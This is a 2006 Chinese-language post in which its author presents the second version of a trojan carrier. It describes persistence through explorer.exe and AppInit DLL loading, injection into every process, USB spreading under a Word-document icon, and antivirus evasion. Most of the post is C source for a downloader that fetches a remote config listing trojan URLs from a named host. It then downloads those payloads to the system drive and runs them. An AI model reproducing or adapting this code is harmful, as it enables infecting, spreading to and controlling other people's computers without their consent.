leapar木马载体第二版本代码 http://leapar.5188.org 2006-8-6 华师细雨主页
第一版本是用rar来进行文件的绑定,启动方式也是基于run,service两种方式,效果不好,而且在进行网站挂马时出错.现在升级为第二版本,原理如下: 1.启动方式:explorer.exe启动加载.winint_appdll加载. 2.把核心dll作为exe的资源文件包含,exe运行时生成dll并进行注射. 3.传播方式,U盘传播,因为exe图标与word图标一样. 4.防杀.因为目前瑞星与金山不杀这文件,没病毒库.不停进行进程的检测,同时查找没被注射的进程进行注射.这样一般的小型杀毒工具就很难发挥作用.因为所以进程都将会被注射. 5.运行木马原理.我先在网站上放好一个配置文件,叫shell.htm.这个文件含有木马的下载地址和下载后放在系统盘时应该使用什么名字. 下面把下载木马和读取配置文件的代码写出来. shell.htm内容: //write by leapar HTTP: http://leapar.5188.org QQ:9395462
代码:
<begin> <td> <tr> http://www.******.com/qq.exe </tr> <tr> ntss.exe </tr> </td> <td> <tr> http://www.******.com/mir2.exe </tr> <tr> ntnet.exe </tr> </td> <over>
成功代码: void GetProtFile();//得到配制文件 SOCKET InitSock(char url[256],int m_Port);//创建SOCKET int GetHeadLen(char* string);//得到HTTP文件头长度 DWORD GetStateCode(char* string);//得到HTTP回显状态码 void GetTR(char* string);//得到<tr></tr>内容 void GetTD(char* string);//得到<td></td>内容 char ShellUrl[20][256];//保存木马的下载地址 char ShellName[20][256];//保存木马在本地的名称 int ShellCount=0;//统计木马数量 void DownShell(int index);//下载木马文件 bool PareUrl(char Url[256],char HostName[256],char Object[256]); void RunFile(char* FileName);
代码:
SOCKET InitSock(char url[256],int m_Port) //write by leapar HTTP: http://leapar.5188.org QQ:9395462 { //write by leapar HTTP: http://leapar.5188.org QQ:9395462 SOCKET m_Socket; struct sockaddr_in sockaddrin; LPHOSTENT lphostent; lphostent=gethostbyname(url);
WSADATA lpWSAData; if(WSAStartup(MAKEWORD(1,1),&lpWSAData))//The WSAStartup function returns zero if successful { return INVALID_SOCKET;//fail }
if(m_Socket!=INVALID_SOCKET) { closesocket(m_Socket); } int ret; hostent *host=NULL; m_Socket=socket(AF_INET,SOCK_STREAM,0); if(m_Socket==INVALID_SOCKET) { return INVALID_SOCKET; } //set Recv and Send time out int TimeOut=6000; //设置发送超时6秒 if(::setsockopt(m_Socket,SOL_SOCKET,SO_SNDTIMEO,(char *)&TimeOut,sizeof(TimeOut))==SOCKET_ERROR) { return INVALID_SOCKET; } //write by leapar HTTP: http://leapar.5188.org QQ:9395462 TimeOut=6000;//设置接收超时6秒 if(::setsockopt(m_Socket,SOL_SOCKET,SO_RCVTIMEO,(char *)&TimeOut,sizeof(TimeOut))==SOCKET_ERROR) { return INVALID_SOCKET; } //设置非阻塞方式连接 unsigned long ul = 1; ret = ioctlsocket(m_Socket, FIONBIO, (unsigned long*)&ul); if(ret==SOCKET_ERROR) { return INVALID_SOCKET; } //连接 sockaddrin.sin_family = AF_INET; sockaddrin.sin_port = htons(m_Port); sockaddrin.sin_addr = *((LPIN_ADDR)*lphostent->h_addr_list);;
if(sockaddrin.sin_addr.s_addr == INADDR_NONE) { return INVALID_SOCKET; } connect(m_Socket,(const struct sockaddr *)&sockaddrin,sizeof(sockaddrin)); //select 模型,即设置超时 struct timeval timeout ; fd_set r; FD_ZERO(&r); FD_SET(m_Socket, &r);
//////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////// timeout.tv_sec = 15; //连接超时15秒 //////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////write by leapar HTTP: http://leapar.5188.org QQ:9395462 ////////////////////////////////////////////////////////////////////////////////////
timeout.tv_usec =0; ret = select(0, 0, &r, 0, &timeout); if ( ret <= 0 ) { closesocket(m_Socket); return INVALID_SOCKET; } //一般非锁定模式套接比较难控制,可以根据实际情况考虑 再设回阻塞模式 unsigned long ul1= 0 ; ret = ioctlsocket(m_Socket, FIONBIO, (unsigned long*)&ul1); if(ret==SOCKET_ERROR) { closesocket (m_Socket); return INVALID_SOCKET; } connect(m_Socket,(SOCKADDR*)&sockaddrin,sizeof(SOCKADDR_IN));
return m_Socket; } //////////////////////////////////////////////////////////////////////////////////////////////// void GetProtFile() { //write by leapar HTTP: http://leapar.5188.org QQ:9395462 SOCKET sock; char SendBuf[1024]; char RecvBuf[1024]; char host[256]="idc.9e3.com"; int m_Port=80; sock=InitSock(host,m_Port); if(sock==INVALID_SOCKET) return;
memset(SendBuf,0,1024); strcpy(SendBuf,"GET /web/ccnuxiyu/myshellurl.htm HTTP/1.1\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\nAccept-Language: zh-cn\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)\r\nHost: idc.9e3.com\r\nConnection: Keep-Alive\r\n\r\n"); send(sock,SendBuf,strlen(SendBuf),0);
memset(RecvBuf,0,1024); int ren=recv(sock,RecvBuf,1023,0); DWORD dwStateCode=GetStateCode(RecvBuf); if(dwStateCode!=200) { closesocket(sock); //清空套接子库 WSACleanup(); return; }
int ret=0,ret1=0;
ret1=ret=ren; char *strRecv; (char*)strRecv=(char*)malloc(sizeof(char)); if(strRecv==NULL) return; int size=ret+1; strRecv=(char*)realloc(strRecv,ret+1); if(strRecv==NULL) return; strcpy(strRecv,RecvBuf); strRecv[ret]='\0';
while(ret>=1022) { memset(RecvBuf,0,1024); ret=recv(sock,RecvBuf,1023,0); size+=ret; strRecv=(char*)realloc(strRecv,size); if(strRecv==NULL) return; for(int i=0;i<ret;i++) { strRecv[ret1+i]=RecvBuf[i]; } ret1+=ret; strRecv[ret1]='\0'; }
int n=GetHeadLen(strRecv); for(int i=0;i<ret1-n;i++) { strRecv[i]=strRecv[i+n]; } closesocket(sock); WSACleanup(); GetTD(strRecv); free(strRecv);
} ////////////////////////////////////////////////////////////////////////////////// int GetHeadLen(char* string) { //write by leapar HTTP: http://leapar.5188.org QQ:9395462 //得到头文件信息长度\r\n\r\n前面的为总头文件信息 char* getstr="\r\n\r\n"; int i=1025; int g=0; char ch1,ch2; int j=0; while(j<i) { g=0; while(g<4) { ch1=(char)string[j+g]; ch2=(char)getstr[g]; if(ch1==ch2) g+=1; else break; } if(g>2) { return j+4; } j++; } return 0; } //////////////////////////////////////////////////////////////////////////////////// DWORD GetStateCode(char* string) { //write by leapar HTTP: http://leapar.5188.org QQ:9395462 //得到头文件信息状态码 char StateBuf[5]; memset(StateBuf,0,5); StateBuf[0]=string[9]; StateBuf[1]=string[10]; if(string[11]!=' ') { StateBuf[2]=string[11]; } if(string[12]!=' ') { StateBuf[3]=string[12]; } DWORD Code; Code=atol(StateBuf); return Code; } /////////////////////////////////////////////////////////////////////// void GetTD(char* string) { //write by leapar HTTP: http://leapar.5188.org QQ:9395462 char btd[5]="<td>"; char etd[6]="</td>"; char* TDstr; (char*)TDstr=(char*)malloc(sizeof(char)); if(TDstr==NULL) return; int count=0; bool b=false; int i=strlen(string);
int g=0; char ch1,ch2; int j=0; while(j<i) { if(!b)//查找<td> { g=0; while(g<4) { ch1=(char)string[j+g]; ch2=(char)btd[g]; if(ch1==ch2) g+=1; else break; } if(g==4) { char buf[10]; itoa(j,buf,10); // AfxMessageBox(buf); j+=3;//跳过<td>几个字符 b=true; } } else//查找</td> { g=0; while(g<5) { // AfxMessageBox("HO"); ch1=(char)string[j+g]; ch2=etd[g]; if(ch1==ch2) g+=1; else break; } if(g==5) { j+=4; b=false; GetTR(TDstr);//取出木马信息 // AfxMessageBox(TDstr); count=0; TDstr=(char*)realloc(TDstr,count+1); if(TDstr==NULL) return; TDstr[count]='\0'; } else { TDstr=(char*)realloc(TDstr,count+1); if(TDstr==NULL) return; TDstr[count]='\0'; TDstr[count]=(char)string[j]; count++; } } j++; } free(TDstr); } //////////////////////////////////////////////////////////////////// void GetTR(char* string) { //write by leapar HTTP: http://leapar.5188.org QQ:9395462 char btr[5]="<tr>"; char etr[6]="</tr>"; char TRstr[256]; memset(TRstr,0,256);
int count=0; bool b=false; bool sb=false;//判断当前是url还是name int i=strlen(string);
int g=0; char ch1,ch2; int j=0; while(j<i) { if(!b)//查找<tr> { g=0; while(g<4) { ch1=(char)string[j+g]; ch2=(char)btr[g]; if(ch1==ch2) g+=1; else break; } if(g==4) { j+=5;//跳过<tr>几个字符 b=true; } } else//查找</tr> { g=0; while(g<5) { ch1=(char)string[j+g]; ch2=etr[g]; if(ch1==ch2) g+=1; else break; } if(g==5) { j+=6; b=false; if(!sb) { memset(ShellUrl[ShellCount],0,256); strcpy(ShellUrl[ShellCount],TRstr); sb=true; } else { memset(ShellName[ShellCount],0,256); strcpy(ShellName[ShellCount],RootPath); // MessageBox(GetActiveWindow(),ShellName[ShellCount],"HOHO",MB_OK); strcat(ShellName[ShellCount],"\\"); // MessageBox(GetActiveWindow(),ShellName[ShellCount],"HOHO",MB_OK); strcat(ShellName[ShellCount],TRstr); // MessageBox(GetActiveWindow(),TRstr,"HOHO",MB_OK); // MessageBox(GetActiveWindow(),ShellName[ShellCount],"HOHO",MB_OK); ShellCount+=1; sb=false; } // AfxMessageBox(TRstr); count=0; memset(TRstr,0,256); } else { TRstr[count]=(char)string[j]; count++; } } j++; } free(TRstr); } ////////////////////////////////////////////////////////////////////////////////// void DownShell(int index) { //write by leapar HTTP: http://leapar.5188.org QQ:9395462 SOCKET sock; char SendBuf[2048]; char RecvBuf[1024]; char HostName[256]; char Object[256]; memset(HostName,0,256); memset(Object,0,256); if(!PareUrl("http://www.diouao.com/cmd.exe",HostName,Object)) { return; }
sock=InitSock(HostName,80);//全部给出的是80端口 if(sock==INVALID_SOCKET) { return; }
memset(SendBuf,0,1024); strcpy(SendBuf,"GET "); strcat(SendBuf,Object); strcat(SendBuf," HTTP/1.1\r\n"); strcat(SendBuf,"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\nAccept-Language: zh-cn\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)\r\nHost: "); strcat(SendBuf,HostName); strcat(SendBuf,"\r\nConnection: Keep-Alive\r\n\r\n");
send(sock,SendBuf,strlen(SendBuf),0);
memset(RecvBuf,0,1024); int ren=recv(sock,RecvBuf,1023,0);
DWORD dwStateCode=GetStateCode(RecvBuf); if(dwStateCode!=200) { closesocket(sock); //清空套接子库 WSACleanup();
return; } int n=GetHeadLen(RecvBuf);
FILE *DownFile;
int i=strlen(ShellName[index]);//因为在GetTR中为了方便,把\r\n带到了文件名的末尾,这里就不把\r\n搞掉 ShellName[index][i-1]='\0'; ShellName[index][i-2]='\0'; if((DownFile=fopen(ShellName[index],"w+b"))==NULL) { closesocket(sock); WSACleanup(); return; } fseek(DownFile,0,SEEK_END);
fwrite(RecvBuf+n,sizeof(char),ren-n,DownFile);//一定要记住把头文件信息给去掉
ren=1022;//第一次过来的是HTTP头信息,只有268左右大小,所以要让它进入循环就先指定他的大小。 while(ren>0) { memset(RecvBuf,0,1024); ren=recv(sock,RecvBuf,1023,0); if(ren==0) break; else { if(ren!=1023) { char buf[10]; itoa(ren,buf,10); MessageBox(GetActiveWindow(),buf,"HOHO",MB_OK); } fwrite(RecvBuf,sizeof(char),ren,DownFile); } } closesocket(sock); //清空套接子库 WSACleanup(); fclose(DownFile); RunFile(ShellName[index]);
} ////////////////////////////////////////////////////////////////////////// void RunFile(char* FileName) { //write by leapar HTTP: http://leapar.5188.org QQ:9395462 SHELLEXECUTEINFO info; ZeroMemory(&info, sizeof(SHELLEXECUTEINFO)); info.cbSize = sizeof(SHELLEXECUTEINFO); info.lpVerb = "open"; info.lpFile = FileName; info.nShow = SW_NORMAL; info.fMask = SEE_MASK_FLAG_NO_UI; ShellExecuteEx(&info); /* DWORD dwGet = WaitForSingleObject(info.hProcess, INFINITE); if(dwGet == WAIT_OBJECT_0) { CloseHandle(info.hProcess); } else { }*/ } //////////////////////////////////////////////////////////////////////// bool PareUrl(char Url[256],char HostName[256],char Object[256]) { //write by leapar HTTP: http://leapar.5188.org QQ:9395462 // http://www.*****.com/cmd.exe // 01234567 int i=strlen(Url); bool b=false; int j=7,g=0; for(;j<i;j++) { if(!b) { if((char)Url[j]!='/') { HostName[j-7]=Url[j]; } else { Object[g]=Url[j]; g++; b=true; } } else { Object[g]=Url[j]; g++; } } return b; } ////////////////////////////////////////////////////////////////////////
[此贴被 leapar(leapar) 在 08月07日10时50分 编辑过]
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